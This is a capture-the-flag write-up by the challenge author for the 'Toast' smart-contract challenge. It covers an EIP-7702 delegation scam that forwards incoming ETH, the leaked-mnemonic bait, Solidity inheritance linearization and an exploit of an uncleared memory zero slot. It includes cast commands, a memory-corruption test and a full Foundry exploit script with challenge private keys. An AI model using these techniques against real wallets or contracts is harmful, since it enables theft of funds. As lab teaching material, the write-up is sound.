본문 바로가기

Toast

CONTENT

Is it possible to use EIP-7702 for scams on EVM (not Tron), and what happens if the zero slot is dirty

Environment

https://github.com/bean5oup/CTF/tree/main/2025/DeadSec%20CTF/Toast

Uvicorn runs on 8000 by default, so when working on DreamHack, just forward it to 8000. This time DeadSec Infra required 1337, so I used that instead.

docker build --tag toast .
docker run -itd -p 12345:1337 --name toast toast

Solution

First, the mnemonic words are revealed in the description. Yeah, they’re all over the YouTube comments, even here :0. Then, in the Setup contract, the owner transfers their WETH to a specific address derived from those mnemonic words.

I'm to crypto, could you help me with something unrelated? My wallet holds some WETH, and i have 12 words: (test test test test test test test test test test test junk). How can i send them to my exchange.

Here, we can recover the private key for that address:
0xdf57089febbacf7ba0bc227dafbffa9fc08a93fdc68e1e42411a14efcf23656e

A quick glance at the code reveals that we need 400 WETH, so we have to get it. Although we know the private key, the address doesn’t have any ETH to pay for gas fees, so we first need to send some ETH to it. However, even after sending ETH, the balance stays at 0 — exactly as I intended :). Taking a closer look at the logs, we can see that the ETH is actually being sent to a another address:

Due to an out-of-gas (OOG) error, transferring ETH via transfer is not possible, so we need to use a low-level call instead. This also implies that the fallback function performs some action. Although the address is an EOA, it behaves like a contract account (CA). Therefore, we check whether it contains bytecode. This part involves EIP-7702. In the CTF, this section is treated as a black box. I hope you get to experience this kind of confusion :).

The top 3 bytes, 0xef0100, are the magic bytes, and the lower 20 bytes represent the address of the delegated contract.

cast code <WHO> --rpc-url <URL>

Let’s decompile the code at that address using Dedaub EVM Decompiler:

The behavior is simply to forward any incoming ETH to that address. Originally, the challenge was meant to involve Account Abstraction (AA) of ZeroDev’s Kernel, but for simplicity, just named it "Kernel" and implemented it in a very straightforward way. The EOA delegates to this following contract like proxy.

contract Kernel {
    receive() external payable {
        payable(0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266).transfer(msg.value);
    }
}

We just need to initialize the delegation. To do so, delegate to the zero address. According to EIP-7702, even if a transaction has no gas fee, another EOA can perform the delegation on your behalf as long as a valid signature is provided.

cast send $(cast az) --private-key <RAW_PRIVATE_KEY> --rpc-url <URL> --auth <ADDRESS>
cast send $(cast az) --private-key <RAW_PRIVATE_KEY> --rpc-url <URL> --auth $(cast wallet sigh-auth <ADDRESS> --private-key <RAW_PRIVATE_KEY> --rpc-url <URL>)

After initializing the delegation, sending ETH increases the balance as expected. This was the intended solution, but most folks solved the challenge using Permit2. That was a smart play — I’m always learning from you :).

Second, in Exchange.sol, we can observe a complex inheritance structure. I was curious about how the EVM handles diamond inheritance and came across this reference. TL;DR: the EVM uses C3 Linearization like Python. Based on that, I created this simplified version that looks like a tiny rev.

Here’s the diagram:

On the left is the direct inheritance diagram, and on the right is the result after applying linearization according to the rules.

Let’s figure out how the results are derived. The rule is as follows:

L[0] = [0]
L[1] = [1] + merge(L[0]) = [1, 0]
L[2] = [2] + merge(L[0]) = [2, 0]
L[3] = [3] + merge(L[1]) = [3, 1, 0]
L[4] = [4] + merge(L[1], L[2]) = [4, 2, 1, 0]

For contract C4 is C1, C2, the order of C1 and C2 affects the linearization. The merge is done in reverse order.

L[5] = [5] + merge(L[2]) = [5, 2, 0]
L[6] = [6] + merge(L[3], L[4]) = [6, 4, 2, 3, 1, 0]
    L[3] = [3, 1, 0]    => [3, 1, 0] => [3, 1, 0] => [1, 0] => []
    L[4] = [4, 2, 1, 0] => [2, 1, 0] => [1, 0]    => [1, 0] => []

According to the merge rules, the head elements [3] and [4] must not appear in the tail of any other list. Since contract C6 is C3, C4, it merges as shown above.

L[7] = [7] + merge(L[4], L[5]) = [7, 5, 4, 2, 1, 0]
L[8] = [8] + merge(L[6]) = [8, 6, 4, 2, 3, 1, 0]
L[9] = [9] + merge(L[6], L[7]) = [9, 7, 5, 4, 2, 3, 1, 0]
L[10] = [10] + merge(L[7]) = [10, 7, 5, 4, 2, 1, 0]
L[11] = [11] + merge(L[8], L[9]) = [11, 9, 7, 5, 8, 6, 4, 2, 3, 1, 0]
L[12] = [12] + merge(L[9], L[10]) = [12, 10, 9, 7, 5, 4, 2, 3, 1, 0]
L[13] = [13] + merge(L[11], L[12]) = [13, 12, 10, 11, 9, 7, 5, 8, 6, 4, 2, 3, 1, 0]

We can also check this using Foundry’s debug and vm.breakpoint cheatcodes.

forge test --mp test/Toast.t.sol --debug
# ['<char>]: goto breakpoint

One thing to be careful about here — something I’ll explain in more detail later — is that in the current code, memory is allocated sequentially from the beginning without considering the memory layout. Because of this, inserting code like console2.log or vm.breakpoint between the assembly blocks that call super.hashOrder() can potentially cause issues. And of course, to use these cheatcodes, simply import the Test contract and inherit it in C0, which serves as the header of the inheritance chain.

Now we have a surface-level understanding of how that inheritance works, so let’s look at the Yul assembly inside it. That just a logic makes a digest for signature verification, EIP-712 — by listing all the properties of the Order object in memory and then running keccak256 on them.

Also, function casting is used here. I’m not sure why it’s necessary yet, but it’s interesting to see that this technique exists.

library util {
    function usingSimpleOrder(function (SimpleOrder calldata) internal returns(bytes32) fnIn) internal pure returns(function (Order calldata) internal returns(bytes32) fnOut) {
        assembly ("memory-safe") {
            fnOut := fnIn
        }
    }
    . . .
}

By the way, I created this challenge based on the Wyvern concept. Actually, I wanted to make a challenge about optimization, but the EVM isn’t as complicated as V8. What I found was just a small bound check optimization — right here. Also, there’s something weird I still don’t fully understand. You may have noticed the Yul assembly block uses the memory-safe dialect. I found this reference. TL;DR: Using the memory-safe dialect tells the compiler to trust that your assembly code is safe, allowing optimizations — but if your code isn’t actually safe, it can cause serious issues.

According to this reference, the memory layout in Solidity is as follows:

0x00 - 0x1f (64 bytes): scratch space for hashing methods
0x20 - 0x3f
0x40 - 0x5f (32 bytes): currently allocated memory size (aka. free memory pointer)
0x60 - 0x7f (32 bytes): zero slot

The zero slot is used as the initial value for dynamic memory arrays and should never be overwritten. What could happen if there is a value in zero slot?

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

import "src/Setup.sol";

contract ToastT is Test {
    function setUp() external {}

    function test() external {
        uint256 dummy1;
        uint256 dummy2;
        uint256 dummy3;
        uint256 dummy4;
        string memory dummy = 'AAAA';
        uint256[] memory test;

        // console2.log('length:', test.length);
        assembly ("memory-safe") {
            mstore(0x60, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
        }   
        // emit log_named_bytes32('length', bytes32(test.length));

        // vm.breakpoint('b');

        // for(uint256 i; i < 10; i++) {
        //     console2.logBytes32(bytes32(test[i]));
        // }

        dummy1 = test[0];
        dummy2 = test[1];
        dummy3 = test[2];
        dummy4 = test[3];

        emit log_bytes32(bytes32(dummy1));
        emit log_bytes32(bytes32(dummy2));
        emit log_bytes32(bytes32(dummy3));
        emit log_bytes32(bytes32(dummy4));
    }
}

As you can see above, even though the array hasn’t been allocated with new yet, the length has changed. If you run this test yourself, you’ll notice that logging to the console writes to memory and causes chaos. That’s why by declaring a dummy variable on the stack and inspecting the memory in a clean state, we can observe the following:

Plus, when writing values like strings to storage not memory, storage operations are very expensive, so if the length is 31 bytes or less, data and length are combined to use space efficiently like the data (< 32 bytes) || length (1 byte)reference.

So, the vulnerability in this challenge is that while performing signature verification, the free memory pointer is properly restored, but the zero slot is not cleared.

Of course, there is a potential issue here. Currently, the code writes to memory before allocating other data, so the free memory pointer points to 0x80. However, if this occurs in the middle of the execution flow, all data before the free memory pointer should also be restored.

Using this, it’s possible to allocate more than 10 recipients. To place recipient addresses in memory, we use the calldata_ field of the Order, which is of type bytes.

calldata_: abi.encode(addr, abi.encodePacked(
    hex'0000000000000000',
    vm.addr(userPK),
    hex'000000000000000000000000',
    vm.addr(userPK),
    hex'000000000000000000000000',
    vm.addr(userPK),
    hex'000000000000000000000000',
    vm.addr(userPK),
    hex'000000000000000000000000',
    vm.addr(userPK),
    hex'000000000000000000000000',
    vm.addr(userPK),
    hex'000000000000000000000000',
    vm.addr(userPK),
    hex'000000000000000000000000',
    vm.addr(userPK),
    hex'000000000000000000000000',
    vm.addr(userPK),
    hex'000000000000000000000000',
    vm.addr(userPK),
    hex'00000000'
)),

here is the full script of solution:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Script.sol";

import "src/Setup.sol";

contract Solution is Script {
    Setup setup;
    Exchange exchange;
    WETH weth;
    Toast toast;
    ToastNFT toastNFT;
    address owner;

    uint256 userPK;
    uint256 scamPK;

    uint256 ownerPK;

    function setUp() external {
        userPK = 0x26eb36e8654ba241e9c9caced427318c27aa7e9e763ede82a7e33cfb50406d7f;
        scamPK = 0xdf57089febbacf7ba0bc227dafbffa9fc08a93fdc68e1e42411a14efcf23656e;

        setup = Setup(0x3F933b9d194270a791E0efa39E5C1e12c9F4D57c);
        weth = setup.weth();
        exchange = setup.exchange();
        toast = setup.toast();
        owner = setup.owner();
        toastNFT = setup.toastNFT();
    }

    // forge script script/Solution.s.sol:Solution --rpc-url <URL> -vvvvv --slow --via-ir --broadcast
    function run() external {
        // cast send $(cast az) --private-key <RAW_PRIVATE_KEY> --rpc-url <URL> --auth $(cast wallet sign-auth $(cast az) --private-key <RAW_PRIVATE_KEY> --rpc-url <URL>)
        vm.startBroadcast(userPK);
        (bool success, ) = payable(vm.addr(scamPK)).call{value: 0.1 ether}('');
        require(success);
        vm.stopBroadcast();

        vm.startBroadcast(scamPK);
        weth.transfer(vm.addr(userPK), weth.balanceOf(vm.addr(scamPK)));
        console2.log(weth.balanceOf(vm.addr(userPK)));
        vm.stopBroadcast();

        vm.startBroadcast(userPK);
        weth.approve(address(toast), type(uint256).max);

        Order memory sell = Order({
            exchange: address(exchange),
            maker: owner,
            salt: 0x0,
            taker: address(0),
            side: SaleKindInterface.Side.Sell,
            saleKind: SaleKindInterface.SaleKind.FixedPrice,
            target: address(toast),
            howToCall: AuthenticatedProxy.HowToCall(0),
            calldata_: '',
            staticTarget: address(0),
            paymentToken: address(weth),
            basePrice: 400e18,
            expirationTime: 0,
            feeMethod: FeeMethod(0),
            sig: setup.sellSig()
        });

        address[] memory addr = new address[](10);
        addr[0] = vm.addr(userPK);
        addr[1] = address(vm.addr(userPK));
        addr[2] = address(vm.addr(userPK));
        addr[3] = address(vm.addr(userPK));
        addr[4] = address(vm.addr(userPK));
        addr[5] = address(vm.addr(userPK));
        addr[6] = address(vm.addr(userPK));
        addr[7] = address(vm.addr(userPK));
        addr[8] = address(vm.addr(userPK));
        addr[9] = address(vm.addr(userPK));

        Order memory buy = Order({
            exchange: address(exchange),
            maker: vm.addr(userPK),
            salt: 100,
            taker: address(0),
            side: SaleKindInterface.Side.Buy,
            saleKind: SaleKindInterface.SaleKind.FixedPrice,
            target: address(toast),
            howToCall: AuthenticatedProxy.HowToCall(0),
            calldata_: abi.encode(addr, abi.encodePacked(
                hex'0000000000000000',
                vm.addr(userPK),
                hex'000000000000000000000000',
                vm.addr(userPK),
                hex'000000000000000000000000',
                vm.addr(userPK),
                hex'000000000000000000000000',
                vm.addr(userPK),
                hex'000000000000000000000000',
                vm.addr(userPK),
                hex'000000000000000000000000',
                vm.addr(userPK),
                hex'000000000000000000000000',
                vm.addr(userPK),
                hex'000000000000000000000000',
                vm.addr(userPK),
                hex'000000000000000000000000',
                vm.addr(userPK),
                hex'000000000000000000000000',
                vm.addr(userPK),
                hex'00000000'
            )),
            staticTarget: address(0),
            paymentToken: address(weth),
            basePrice: 400e18,
            expirationTime: 0,
            feeMethod: FeeMethod(0),
            sig: ''
        });

        bytes32 hash = hashOrder(buy);

        bytes32 DOMAIN_TYPEHASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
        bytes32 domainHash = keccak256(abi.encode(
            DOMAIN_TYPEHASH,
            keccak256("Toast"),
            keccak256("0"),
            block.chainid,
            address(exchange)
        ));

        bytes32 digest = keccak256(
            abi.encodePacked(
                hex'1901',
                domainHash,
                hash
            )
        );

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(userPK, digest);
        buy.sig = abi.encodePacked(r, s, v);

        exchange.atomicMatch(buy, sell);

        console2.log(toastNFT.balanceOf(address(0xd578389f9C7dE8C4466d8a33C0cf7F70b64Cf35E), 1337));

        console2.log(setup.isSolved());
        setup.solve();
        console2.log(setup.isSolved());

        vm.stopBroadcast();
    }

    function hashOrder(Order memory order) internal pure returns (bytes32 hash) {
        bytes32 ORDER_TYPEHASH = 0xca2b31eece9789f8640037795ba5e3065ba8d82ef095c0f8c0f4310a0d1f96ea;
        bytes memory part1;
        bytes memory part2;
        {
            part1 = abi.encode(
                ORDER_TYPEHASH,
                order.exchange,
                order.maker,
                order.salt,
                order.taker,
                order.side,
                order.saleKind
            );
        }
        {
            part2 = abi.encode(
                order.target,
                order.howToCall,
                keccak256(order.calldata_),
                order.staticTarget,
                order.paymentToken,
                order.basePrice,
                order.expirationTime,
                order.feeMethod
            );
        }
        return keccak256(abi.encodePacked(part1, part2));
    }
}

Interestingly, the solvers ended up solving it in an unintended way by using a delegatecall. Adding the delegatecall was actually unnecessary, but since having an enum with only one option felt pointless, I just included it. Why did I add delegatecall instead of staticcall? Damn

The unintended way was to create an arbitrary buy-sell pair and make a target contract that calls the pwn() function of the Toast contract inside after setting the recipients parameter. This way, the onlyExchange modifier in the Toast contract is bypassed.

I wanted to add a check to ensure the length is less than 10 in Toast contract, but since calling via a low-level call changes memory context, I had no choice.

Reference

https://eips.ethereum.org/EIPS/eip-712

https://eips.ethereum.org/EIPS/eip-1155

https://eips.ethereum.org/EIPS/eip-7702

https://forum.openzeppelin.com/t/solidity-diamond-inheritance/2694

https://github.com/ethereum/solidity/blob/develop/docs/assembly.rst#advanced-safe-use-of-memory

https://iancoleman.io/bip39/

https://docs.soliditylang.org/en/latest/internals/optimizer.html

https://forum.soliditylang.org/t/understanding-the-memory-safe-dialect/1481